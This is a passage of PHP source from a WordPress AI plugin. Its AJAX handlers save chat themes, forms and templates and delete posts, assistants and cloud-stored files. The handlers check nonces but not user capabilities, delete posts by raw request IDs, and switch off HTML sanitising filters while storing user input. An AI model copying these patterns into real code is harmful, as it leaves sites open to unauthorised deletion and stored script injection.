model added!'; wp_send_json($aiomatic_result); } $code_interpreter = false; if(isset($_POST['aiomatic-assistant-code-interpreter']) && $_POST['aiomatic-assistant-code-interpreter'] == 'on') { $code_interpreter = true; } $file_search = false; if(isset($_POST['aiomatic-assistant-file_search']) && $_POST['aiomatic-assistant-file_search'] == 'on') { $file_search = true; } $model = stripslashes($_POST['aiomatic-assistant-model']); $description = ''; if(isset($_POST['aiomatic-assistant-description']) && !empty($_POST['aiomatic-assistant-description'])) { $description = stripslashes($_POST['aiomatic-assistant-description']); } $topp = ''; if(isset($_POST['aiomatic-assistant-topp']) && !empty($_POST['aiomatic-assistant-topp'])) { $topp = stripslashes($_POST['aiomatic-assistant-topp']); } $temperature = ''; if(isset($_POST['aiomatic-assistant-temperature']) && !empty($_POST['aiomatic-assistant-temperature'])) { $temperature = stripslashes($_POST['aiomatic-assistant-temperature']); } $assistant_first_message = ''; if(isset($_POST['aiomatic-assistant-first-message']) && !empty($_POST['aiomatic-assistant-first-message'])) { $assistant_first_message = stripslashes($_POST['aiomatic-assistant-first-message']); } $avatar = ''; if(isset($_POST['aiomatic-assistant-avatar'])) { $avatar = stripslashes($_POST['aiomatic-assistant-avatar']); } $functions = ''; if(isset($_POST['aiomatic-assistant-functions']) && !empty($_POST['aiomatic-assistant-functions'])) { $functions = stripslashes($_POST['aiomatic-assistant-functions']); } $assistant_files = []; if(isset($_POST['aiomatic-assistant-files']) && !empty($_POST['aiomatic-assistant-files'])) { $assistant_files = $_POST['aiomatic-assistant-files']; if(is_array($assistant_files) && count($assistant_files) > 20) { $assistant_files = array_slice($assistant_files, 0, 20); } } $aiomatic_result = aiomatic_update_assistant($token, $assistant_id, $assistant_id_local, $title, $model, $prompt, $description, $temperature, $topp, $assistant_first_message, $avatar, $code_interpreter, $file_search, $assistant_files, $functions); wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_forms', 'aiomatic_forms'); function aiomatic_forms() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with AI forms'); check_ajax_referer('aiomatic_forms', 'nonce'); $formid = ''; if(isset($_POST['formid']) && !empty($_POST['formid'])) { $formid = $_POST['formid']; } if(!isset($_POST['aiomatic-form-title']) || empty($_POST['aiomatic-form-title'])) { $aiomatic_result['msg'] = 'Empty form title added!'; wp_send_json($aiomatic_result); } $title = $_POST['aiomatic-form-title']; if(!isset($_POST['aiomatic-form-prompt']) || empty($_POST['aiomatic-form-prompt'])) { $aiomatic_result['msg'] = 'Empty form prompt added!'; wp_send_json($aiomatic_result); } $prompt = $_POST['aiomatic-form-prompt']; if(!isset($_POST['aiomatic-form-model']) || empty($_POST['aiomatic-form-model'])) { $aiomatic_result['msg'] = 'Empty form model added!'; wp_send_json($aiomatic_result); } $model = $_POST['aiomatic-form-model']; if(!isset($_POST['aiomatic-form-stream']) || (empty($_POST['aiomatic-form-stream']) && $_POST['aiomatic-form-stream'] !== '0')) { $aiomatic_result['msg'] = 'Empty form stream added!'; wp_send_json($aiomatic_result); } $streaming_enabled = $_POST['aiomatic-form-stream']; if(isset($_POST['aiomatic-form-assistant-id'])) { $assistant_id = $_POST['aiomatic-form-assistant-id']; } else { $assistant_id = ''; } if(!isset($_POST['aiomatic-header']) || empty($_POST['aiomatic-header'])) { $aiomatic_result['msg'] = 'Empty form header state added!'; wp_send_json($aiomatic_result); } $header = $_POST['aiomatic-header']; if(!isset($_POST['aiomatic-editor']) || empty($_POST['aiomatic-editor'])) { $_POST['aiomatic-editor'] = 'textarea'; } $editor = $_POST['aiomatic-editor']; if(!isset($_POST['aiomatic-advanced']) || empty($_POST['aiomatic-advanced'])) { $_POST['aiomatic-advanced'] = 'hide'; } $advanced = $_POST['aiomatic-advanced']; if(!isset($_POST['aiomatic-submit']) || empty($_POST['aiomatic-submit'])) { $aiomatic_result['msg'] = 'Empty form submit text added!'; wp_send_json($aiomatic_result); } $submit = $_POST['aiomatic-submit']; $description = ''; if(isset($_POST['aiomatic-form-description']) && !empty($_POST['aiomatic-form-description'])) { $description = $_POST['aiomatic-form-description']; } $response = ''; if(isset($_POST['aiomatic-form-response']) && !empty($_POST['aiomatic-form-response'])) { $response = $_POST['aiomatic-form-response']; } $max = ''; if(isset($_POST['aiomatic-max']) && !empty($_POST['aiomatic-max'])) { $max = $_POST['aiomatic-max']; } $temperature = ''; if(isset($_POST['aiomatic-temperature']) && !empty($_POST['aiomatic-temperature'])) { $temperature = $_POST['aiomatic-temperature']; } $topp = ''; if(isset($_POST['aiomatic-topp']) && !empty($_POST['aiomatic-topp'])) { $topp = $_POST['aiomatic-topp']; } $presence = ''; if(isset($_POST['aiomatic-presence']) && !empty($_POST['aiomatic-presence'])) { $presence = $_POST['aiomatic-presence']; } $frequency = ''; if(isset($_POST['aiomatic-frequency']) && !empty($_POST['aiomatic-frequency'])) { $frequency = $_POST['aiomatic-frequency']; } $type = ''; if(isset($_POST['aiomatic-type']) && !empty($_POST['aiomatic-type'])) { $type = $_POST['aiomatic-type']; } $aiomaticfields = array(); if(isset($_POST['aiomaticfields']) && !empty($_POST['aiomaticfields'])) { $aiomaticfields = $_POST['aiomaticfields']; } $aiomatic_result = aiomatic_save_forms($formid, $title, $prompt, $model, $header, $submit, $description, $response, $max, $temperature, $topp, $presence, $frequency, $type, $aiomaticfields, $assistant_id, $streaming_enabled, $editor, $advanced); wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_deleteall_forms', 'aiomatic_deleteall_forms'); function aiomatic_deleteall_forms() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with general form deletion'); check_ajax_referer('openai-ajax-nonce', 'nonce'); $allposts = get_posts( array('post_type'=>'aiomatic_forms','numberposts'=>-1) ); foreach ($allposts as $eachpost) { wp_delete_post( $eachpost->ID, true ); } $aiomatic_result['msg'] = 'Successfully deleted all forms!'; $aiomatic_result['status'] = 'success'; wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_deleteall_personas', 'aiomatic_deleteall_personas'); function aiomatic_deleteall_personas() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with general persona deletion'); check_ajax_referer('openai-ajax-nonce', 'nonce'); $allposts = get_posts( array('post_type'=>'aiomatic_personas','numberposts'=>-1) ); foreach ($allposts as $eachpost) { wp_delete_post( $eachpost->ID, true ); } $aiomatic_result['msg'] = 'Successfully deleted all personas!'; $aiomatic_result['status'] = 'success'; wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_save_theme', 'aiomatic_save_theme'); function aiomatic_save_theme() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with theme saving'); check_ajax_referer('openai-ajax-nonce', 'nonce'); if(!isset($_POST['post_title']) || empty($_POST['post_title'])) { $aiomatic_result['msg'] = 'Empty form post_title added!'; wp_send_json($aiomatic_result); } $post_title = $_POST['post_title']; if(!isset($_POST['general_background']) || empty($_POST['general_background'])) { $aiomatic_result['msg'] = 'Empty form general_background added!'; wp_send_json($aiomatic_result); } $general_background = $_POST['general_background']; if(!isset($_POST['background']) || empty($_POST['background'])) { $aiomatic_result['msg'] = 'Empty form background added!'; wp_send_json($aiomatic_result); } $background = $_POST['background']; if(!isset($_POST['input_border_color']) || empty($_POST['input_border_color'])) { $aiomatic_result['msg'] = 'Empty form input_border_color added!'; wp_send_json($aiomatic_result); } $input_border_color = $_POST['input_border_color']; if(!isset($_POST['input_text_color']) || empty($_POST['input_text_color'])) { $aiomatic_result['msg'] = 'Empty form input_text_color added!'; wp_send_json($aiomatic_result); } $input_text_color = $_POST['input_text_color']; if(!isset($_POST['persona_name_color']) || empty($_POST['persona_name_color'])) { $aiomatic_result['msg'] = 'Empty form persona_name_color added!'; wp_send_json($aiomatic_result); } $persona_name_color = $_POST['persona_name_color']; if(!isset($_POST['persona_role_color']) || empty($_POST['persona_role_color'])) { $aiomatic_result['msg'] = 'Empty form persona_role_color added!'; wp_send_json($aiomatic_result); } $persona_role_color = $_POST['persona_role_color']; if(!isset($_POST['input_placeholder_color']) || empty($_POST['input_placeholder_color'])) { $aiomatic_result['msg'] = 'Empty form input_placeholder_color added!'; wp_send_json($aiomatic_result); } $input_placeholder_color = $_POST['input_placeholder_color']; if(!isset($_POST['user_background_color']) || empty($_POST['user_background_color'])) { $aiomatic_result['msg'] = 'Empty form user_background_color added!'; wp_send_json($aiomatic_result); } $user_background_color = $_POST['user_background_color']; if(!isset($_POST['ai_background_color']) || empty($_POST['ai_background_color'])) { $aiomatic_result['msg'] = 'Empty form ai_background_color added!'; wp_send_json($aiomatic_result); } $ai_background_color = $_POST['ai_background_color']; if(!isset($_POST['ai_font_color']) || empty($_POST['ai_font_color'])) { $aiomatic_result['msg'] = 'Empty form ai_font_color added!'; wp_send_json($aiomatic_result); } $ai_font_color = $_POST['ai_font_color']; if(!isset($_POST['user_font_color']) || empty($_POST['user_font_color'])) { $aiomatic_result['msg'] = 'Empty form user_font_color added!'; wp_send_json($aiomatic_result); } $user_font_color = $_POST['user_font_color']; if(!isset($_POST['submit_color']) || empty($_POST['submit_color'])) { $aiomatic_result['msg'] = 'Empty form submit_color added!'; wp_send_json($aiomatic_result); } $submit_color = $_POST['submit_color']; if(!isset($_POST['voice_color']) || empty($_POST['voice_color'])) { $aiomatic_result['msg'] = 'Empty form voice_color added!'; wp_send_json($aiomatic_result); } $voice_color = $_POST['voice_color']; if(!isset($_POST['voice_color_activated']) || empty($_POST['voice_color_activated'])) { $aiomatic_result['msg'] = 'Empty form voice_color_activated added!'; wp_send_json($aiomatic_result); } $voice_color_activated = $_POST['voice_color_activated']; if(!isset($_POST['submit_text_color']) || empty($_POST['submit_text_color'])) { $aiomatic_result['msg'] = 'Empty form submit_text_color added!'; wp_send_json($aiomatic_result); } $submit_text_color = $_POST['submit_text_color']; $encode_arr = array( 'general_background' => $general_background, 'background' => $background, 'input_border_color' => $input_border_color, 'input_text_color' => $input_text_color, 'persona_name_color' => $persona_name_color, 'persona_role_color' => $persona_role_color, 'input_placeholder_color' => $input_placeholder_color, 'user_background_color' => $user_background_color, 'ai_background_color' => $ai_background_color, 'ai_font_color' => $ai_font_color, 'user_font_color' => $user_font_color, 'submit_color' => $submit_color, 'voice_color' => $voice_color, 'voice_color_activated' => $voice_color_activated, 'submit_text_color' => $submit_text_color, ); $json_save = json_encode($encode_arr); $themes_data = array( 'post_type' => 'aiomatic_themes', 'post_title' => $post_title, 'post_content' => $json_save, 'post_status' => 'publish' ); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); $themes_id = wp_insert_post($themes_data); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($themes_id)) { $aiomatic_result['msg'] = 'Failed to import form: ' . $themes_id->get_error_message(); wp_send_json($aiomatic_result); } elseif($themes_id === 0) { $aiomatic_result['msg'] = 'Failed to insert form to database: ' . print_r($themes_data, true); wp_send_json($aiomatic_result); } else { $aiomatic_result['msg'] = 'Successfully deleted all personas!'; $aiomatic_result['status'] = 'success'; wp_send_json($aiomatic_result); } die(); } add_action('wp_ajax_aiomatic_get_theme', 'aiomatic_get_theme'); function aiomatic_get_theme() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with theme getting'); check_ajax_referer('openai-ajax-nonce', 'nonce'); if(!isset($_POST['themeid']) || empty($_POST['themeid'])) { $aiomatic_result['msg'] = 'Empty form themeid added!'; wp_send_json($aiomatic_result); } $themeid = $_POST['themeid']; $aiomatic_theme = get_post(sanitize_text_field($themeid)); if($aiomatic_theme === null || $aiomatic_theme === 0) { $aiomatic_result['msg'] = 'Failed to get theme ID: ' . print_r($themeid, true); wp_send_json($aiomatic_result); } else { $aiomatic_result['msg'] = $aiomatic_theme->post_content; $aiomatic_result['status'] = 'success'; wp_send_json($aiomatic_result); } die(); } add_action('wp_ajax_aiomatic_delete_theme', 'aiomatic_delete_theme'); function aiomatic_delete_theme() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with theme deletion'); check_ajax_referer('openai-ajax-nonce', 'nonce'); if(!isset($_POST['themeid'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { wp_delete_post($_POST['themeid']); $aiomatic_result['status'] = 'success'; $aiomatic_result['msg'] = 'Theme deleted successfully'; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_delete_selected_form', 'aiomatic_delete_selected_form'); function aiomatic_delete_selected_form() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with form deletion'); check_ajax_referer('openai-ajax-nonce', 'nonce'); if(!isset($_POST['ids'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { $deleted = false; if(count($_POST['ids'])) { foreach ($_POST['ids'] as $id) { wp_delete_post($id); $deleted = true; } } if($deleted === true) { $aiomatic_result['status'] = 'success'; $aiomatic_result['msg'] = 'Forms deleted successfully'; } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_delete_selected_personas', 'aiomatic_delete_selected_personas'); function aiomatic_delete_selected_personas() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with persona deletion'); check_ajax_referer('openai-ajax-nonce', 'nonce'); if(!isset($_POST['ids'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { $deleted = false; if(count($_POST['ids'])) { foreach ($_POST['ids'] as $id) { wp_delete_post($id); $deleted = true; } } if($deleted === true) { $aiomatic_result['status'] = 'success'; $aiomatic_result['msg'] = 'Personas deleted successfully'; } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_delete_selected_assistants', 'aiomatic_delete_selected_assistants'); function aiomatic_delete_selected_assistants() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with assistant deletion'); check_ajax_referer('openai-ajax-nonce', 'nonce'); if(!isset($_POST['ids'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { $token = ''; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; } else { $aiomatic_result['msg'] = 'Please set up your API key in the plugin\' settings.'; wp_send_json($aiomatic_result); } require_once (dirname(__FILE__) . "/res/aiomatic-assistants-api.php"); $deleted = false; $errors = ''; if(count($_POST['ids'])) { foreach ($_POST['ids'] as $id) { $assistant_id = get_post_meta($id, '_assistant_id', true); if(!empty($assistant_id)) { try { aiomatic_openai_delete_assistant($token, $assistant_id); } catch(Exception $e) { $errors .= 'Failed to delete assistant ID: ' . $assistant_id . ', exception: ' . $e->getMessage() . '\n'; } } $vector_store_id = get_post_meta($id, '_assistant_vector_store_id', true); if(!empty($vector_store_id)) { aiomatic_openai_delete_vector_store($token, $vector_store_id); } wp_delete_post($id); $deleted = true; } } if(!empty($errors)) { $aiomatic_result['msg'] = 'Assistant failed to be deleted: ' . $errors; wp_send_json($aiomatic_result); } if($deleted === true) { $aiomatic_result['status'] = 'success'; $aiomatic_result['msg'] = 'Assistant deleted successfully'; } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_delete_selected_templates', 'aiomatic_delete_selected_templates'); function aiomatic_delete_selected_templates() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with OmniBlock template deletion'); check_ajax_referer('openai-ajax-nonce', 'nonce'); if(!isset($_POST['ids'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { $deleted = false; if(count($_POST['ids'])) { foreach ($_POST['ids'] as $id) { wp_delete_post($id); $deleted = true; } } if($deleted === true) { $aiomatic_result['status'] = 'success'; $aiomatic_result['msg'] = 'OmniBlock templates deleted successfully'; } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_delete_selected_files', 'aiomatic_delete_selected_files'); function aiomatic_delete_selected_files() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with OmniBlock file deletion'); check_ajax_referer('openai-ajax-nonce', 'nonce'); if(!isset($_POST['ids'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { $deleted = false; if(count($_POST['ids'])) { foreach ($_POST['ids'] as $id) { $this_post = get_post($id); if($this_post === null) { $aiomatic_result['msg'] = 'Incorrect post_id sent'; wp_send_json($aiomatic_result); } $local_id = get_post_meta($id, 'local_id', true); if(empty($local_id)) { $aiomatic_result['msg'] = 'Local file path not found'; wp_send_json($aiomatic_result); } $file_type = ''; $terms = wp_get_object_terms( $id, 'ai_file_type' ); if(!is_wp_error($terms)) { foreach($terms as $tm) { $file_type = $tm->slug; break; } } if($file_type == 'local') { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $wp_filesystem->delete($local_id); } elseif($file_type == 'amazon') { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) { $aiomatic_result['msg'] = 'You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['bucket_name']) || trim($aiomatic_Main_Settings['bucket_name']) == '') { $aiomatic_result['msg'] = 'You need to enter a Amazon S3 bucket_name for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['s3_user']) || trim($aiomatic_Main_Settings['s3_user']) == '') { $aiomatic_result['msg'] = 'You need to enter a Amazon S3 s3_user for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['s3_pass']) || trim($aiomatic_Main_Settings['s3_pass']) == '') { $aiomatic_result['msg'] = 'You need to enter a Amazon S3 s3_pass for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['bucket_region']) || trim($aiomatic_Main_Settings['bucket_region']) == '') { $aiomatic_Main_Settings['bucket_region'] = 'eu-central-1'; } try { $credentials = array('key' => trim($aiomatic_Main_Settings['s3_user']), 'secret' => trim($aiomatic_Main_Settings['s3_pass'])); $s3 = new S3Client([ 'version' => 'latest', 'region' => trim($aiomatic_Main_Settings['bucket_region']), 'credentials' => $credentials ]); } catch(Exception $e) { $aiomatic_result['msg'] = 'Failed to initialize Amazon S3 API: ' . $e->getMessage(); wp_send_json($aiomatic_result); } try { $obj_arr = [ 'Bucket' => trim($aiomatic_Main_Settings['bucket_name']), 'Key' => $local_id, ]; $awsret = $s3->deleteObject($obj_arr); if(!isset($awsret['DeleteMarker'])) { $aiomatic_result['msg'] = "Failed to decode Amazon S3 API response: " . print_r($awsret, true); wp_send_json($aiomatic_result); } } catch (Exception $e) { $aiomatic_result['msg'] = "There was an error uploading the file " . $image_url . " to Amazon S3: " . $e->getMessage(); wp_send_json($aiomatic_result); } } elseif($file_type == 'wasabi') { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) { $aiomatic_result['msg'] = 'You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['wasabi_bucket']) || trim($aiomatic_Main_Settings['wasabi_bucket']) == '') { $aiomatic_result['msg'] = 'You need to enter a Wasabi wasabi_bucket for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['wasabi_user']) || trim($aiomatic_Main_Settings['wasabi_user']) == '') { $aiomatic_result['msg'] = 'You need to enter a Wasabi wasabi_user for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['wasabi_pass']) || trim($aiomatic_Main_Settings['wasabi_pass']) == '') { $aiomatic_result['msg'] = 'You need to enter a Wasabi wasabi_pass for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['wasabi_region']) || trim($aiomatic_Main_Settings['wasabi_region']) == '') { $aiomatic_result['msg'] = 'You need to enter a Wasabi wasabi_region for this to work!'; wp_send_json($aiomatic_result); } try { $credentials = array('key' => trim($aiomatic_Main_Settings['wasabi_user']), 'secret' => trim($aiomatic_Main_Settings['wasabi_pass'])); $s3 = new S3Client([ 'endpoint' => "https://" . trim($aiomatic_Main_Settings['wasabi_bucket']) . ".s3." . trim($aiomatic_Main_Settings['wasabi_region']) . ".wasabisys.com/", 'bucket_endpoint' => true, 'version' => 'latest', 'region' => trim($aiomatic_Main_Settings['wasabi_region']), 'credentials' => $credentials ]); } catch(Exception $e) { $aiomatic_result['msg'] = 'Failed to initialize Wasabi API: ' . $e->getMessage(); wp_send_json($aiomatic_result); } try { $obj_arr = [ 'Bucket' => trim($aiomatic_Main_Settings['wasabi_bucket']), 'Key' => $local_id, ]; $awsret = $s3->deleteObject($obj_arr); if(!isset($awsret['DeleteMarker'])) { $aiomatic_result['msg'] = "Failed to decode Wasabi API response: " . print_r($awsret, true); wp_send_json($aiomatic_result); } } catch (Exception $e) { $aiomatic_result['msg'] = "There was an error uploading the file " . $image_url . " to Wasabi: " . $e->getMessage(); wp_send_json($aiomatic_result); } } elseif($file_type == 'cloudflare') { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) { $aiomatic_result['msg'] = 'You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['cloud_bucket']) || trim($aiomatic_Main_Settings['cloud_bucket']) == '') { $aiomatic_result['msg'] = 'You need to enter a CloudFlare cloud_bucket for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['cloud_user']) || trim($aiomatic_Main_Settings['cloud_user']) == '') { $aiomatic_result['msg'] = 'You need to enter a CloudFlare cloud_user for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['cloud_pass']) || trim($aiomatic_Main_Settings['cloud_pass']) == '') { $aiomatic_result['msg'] = 'You need to enter a CloudFlare cloud_pass for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['cloud_account']) || trim($aiomatic_Main_Settings['cloud_account']) == '') { $aiomatic_result['msg'] = 'You need to enter a CloudFlare cloud_account for this to work!'; wp_send_json($aiomatic_result); } try { $credentials = array('key' => trim($aiomatic_Main_Settings['cloud_user']), 'secret' => trim($aiomatic_Main_Settings['cloud_pass'])); $s3 = new S3Client([ 'endpoint' => "https://" . trim($aiomatic_Main_Settings['cloud_account']) . ".r2.cloudflarestorage.com", 'bucket_endpoint' => true, 'version' => 'latest', 'region' => 'us-east-1', 'credentials' => $credentials ]); } catch(Exception $e) { $aiomatic_result['msg'] = 'Failed to initialize CloudFlare API: ' . $e->getMessage(); wp_send_json($aiomatic_result); } try { $obj_arr = [ 'Bucket' => trim($aiomatic_Main_Settings['cloud_bucket']), 'Key' => $local_id, ]; $awsret = $s3->deleteObject($obj_arr); if(!isset($awsret['DeleteMarker'])) { $aiomatic_result['msg'] = "Failed to decode CloudFlare API response: " . print_r($awsret, true); wp_send_json($aiomatic_result); } } catch (Exception $e) { $aiomatic_result['msg'] = "There was an error uploading the file " . $image_url . " to CloudFlare: " . $e->getMessage(); wp_send_json($aiomatic_result); } } elseif($file_type == 'digital') { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) { $aiomatic_result['msg'] = 'You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['digital_endpoint']) || trim($aiomatic_Main_Settings['digital_endpoint']) == '') { $aiomatic_result['msg'] = 'You need to enter a Digital Ocean digital_endpoint for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['digital_user']) || trim($aiomatic_Main_Settings['digital_user']) == '') { $aiomatic_result['msg'] = 'You need to enter a Digital Ocean digital_user for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['digital_pass']) || trim($aiomatic_Main_Settings['digital_pass']) == '') { $aiomatic_result['msg'] = 'You need to enter a Digital Ocean digital_pass for this to work!'; wp_send_json($aiomatic_result); } $bucket_name = ''; preg_match_all('#https:\/\/([^.]*?)\.(?:[^.]*?)\.digitaloceanspaces\.com#i', trim($aiomatic_Main_Settings['digital_endpoint']), $zmatches); if(isset($zmatches[1][0])) { $bucket_name = $zmatches[1][0]; } else { $aiomatic_result['msg'] = 'Failed to parse Digital Ocean Spaces URL: ' . trim($aiomatic_Main_Settings['digital_endpoint']); wp_send_json($aiomatic_result); } $endpoint_plain_url = preg_replace('#https?:\/\/([^.]*?\.)([^.]*?)\.digitaloceanspaces\.com#i', 'https://$2.digitaloceanspaces.com', trim($aiomatic_Main_Settings['digital_endpoint'])); try { $credentials = array('key' => trim($aiomatic_Main_Settings['digital_user']), 'secret' => trim($aiomatic_Main_Settings['digital_pass'])); $s3 = new S3Client([ 'version' => 'latest', 'region' => 'us-east-1', 'endpoint' => $endpoint_plain_url, 'use_path_style_endpoint' => false, 'credentials' => $credentials ]); } catch(Exception $e) { $aiomatic_result['msg'] = 'Failed to initialize Digital Ocean API: ' . $e->getMessage(); wp_send_json($aiomatic_result); } try { $obj_arr = [ 'Bucket' => trim($bucket_name), 'Key' => $local_id, ]; $awsret = $s3->deleteObject($obj_arr); if(!isset($awsret['DeleteMarker'])) { $aiomatic_result['msg'] = "Failed to decode Digital Ocean API response: " . print_r($awsret, true); wp_send_json($aiomatic_result); } } catch (Exception $e) { $aiomatic_result['msg'] = "There was an error uploading the file " . $image_url . " to Digital Ocean: " . $e->getMessage(); wp_send_json($aiomatic_result); } } wp_delete_post($id); $deleted = true; } } if($deleted === true) { $aiomatic_result['status'] = 'success'; $aiomatic_result['msg'] = 'OmniBlock files deleted successfully'; } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_save_omni_template', 'aiomatic_save_omni_template'); function aiomatic_save_omni_template() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with OmniBlock template creation'); check_ajax_referer('openai-ajax-nonce', 'nonce'); if(!isset($_POST['omni_template_new']) || empty($_POST['omni_template_new']) || !isset($_POST['omni_template_cat_new']) || !isset($_POST['sortable_cards_new']) || empty($_POST['sortable_cards_new'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { $ai_data = array( 'post_type' => 'aiomatic_omni_temp', 'post_title' => $_POST['omni_template_new'], 'post_content' => $_POST['sortable_cards_new'], 'post_status' => 'publish' ); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); $omni_id = wp_insert_post($ai_data); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($omni_id)) { aiomatic_log_to_file('Failed to insert OmniBlock template: ' . $omni_id->get_error_message()); } elseif($omni_id === 0) { aiomatic_log_to_file('Failed to insert OmniBlock template: ' . print_r($ai_data, true)); } else { update_post_meta($omni_id, 'aiomatic_json', $_POST['sortable_cards_new']); if(trim($_POST['omni_template_cat_new']) != '') { $cats = $_POST['omni_template_cat_new']; $cat_arr = explode(';', $cats); $cat_arr = array_map('trim', $cat_arr); wp_set_object_terms($omni_id, $cat_arr, 'ai_template_categories'); } $aiomatic_result['status'] = 'success'; $aiomatic_result['msg'] = 'OmniBlock template inserted successfully'; } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_save_omni_template_edit', 'aiomatic_save_omni_template_edit'); function aiomatic_save_omni_template_edit() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with OmniBlock template creation'); check_ajax_referer('openai-ajax-nonce', 'nonce'); if(!isset($_POST['omni_template_edit']) || empty($_POST['omni_template_edit']) || !isset($_POST['omni_template_cat_edit']) || !isset($_POST['sortable_cards_edit']) || empty($_POST['sortable_cards_edit']) || !isset($_POST['omni_template_id']) || empty($_POST['omni_template_id'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { $ai_data = array( 'post_type' => 'aiomatic_omni_temp', 'post_title' => $_POST['omni_template_edit'], 'post_content' => $_POST['sortable_cards_edit'], 'ID' => $_POST['omni_template_id'], 'post_status' => 'publish' ); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); $omni_id = wp_update_post($ai_data); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($omni_id)) { aiomatic_log_to_file('Failed to update OmniBlock template: ' . $omni_id->get_error_message()); } elseif($omni_id === 0) { aiomatic_log_to_file('Failed to update 